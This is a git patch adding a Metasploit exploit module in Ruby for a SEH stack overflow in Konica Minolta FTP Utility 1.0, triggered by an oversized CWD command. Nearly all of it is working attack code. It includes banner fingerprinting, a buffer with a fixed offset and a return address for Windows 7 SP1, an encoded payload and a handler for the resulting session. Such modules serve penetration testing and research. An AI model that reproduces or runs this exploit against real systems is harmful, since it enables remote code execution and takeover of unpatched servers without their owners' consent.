From 91a7531af86869c99d6d08d4f6865e3a5eb808bc Mon Sep 17 00:00:00 2001 From: Muhamad Fadzil Ramli Date: Sun, 23 Aug 2015 21:49:26 +0800 Subject: [PATCH] konica minolta ftp server post auth cwd command exploit --- .../exploits/windows/ftp/kmftp_utility_cwd.rb | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 modules/exploits/windows/ftp/kmftp_utility_cwd.rb diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb new file mode 100644 index 0000000000..7d51bab5db --- /dev/null +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -0,0 +1,74 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Ftp + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Konica Minolta FTP Utility 1.0 Post Auth CWD Command SEH Overflow', + 'Description' => %q{ + This module exploits a SEH overflow in Konica Minolta FTP Server 1.0. + Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which + leads to a SEH overflow. EasyFTP allows anonymous access by default; valid + credentials are typically unnecessary to exploit this vulnerability. + }, + 'Author' => + [ + 'Shankar Damodaran', # Stack Overflow DOS P.O.C version + 'Muhamad Fadzil Ramli ' # SEH overflow, metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EBD-ID', '' ], + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 3000, + 'BadChars' => "\x00\x0a\x2f\x5c", + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows 7 SP1 x86', { 'Ret' => 0x12206d9d, 'Offset' => 1037 } ], # ppr - KMFtpCM.dll + ], + 'DisclosureDate' => 'August 23 2015', + 'DefaultTarget' => 0)) + end + + def check + connect + disconnect + + if (banner =~ /FTP Utility FTP server \(Version ([\d.]+)\)/) + return Exploit::CheckCode::Detected + end + return Exploit::CheckCode::Safe + end + + def exploit + connect_login + + buf = rand_text(target['Offset']) + buf << generate_seh_record(target.ret) + buf << payload.encoded + buf << rand_text(3000) + + print_status("Sending exploit buffer...") + send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string + + handler + disconnect + end + +end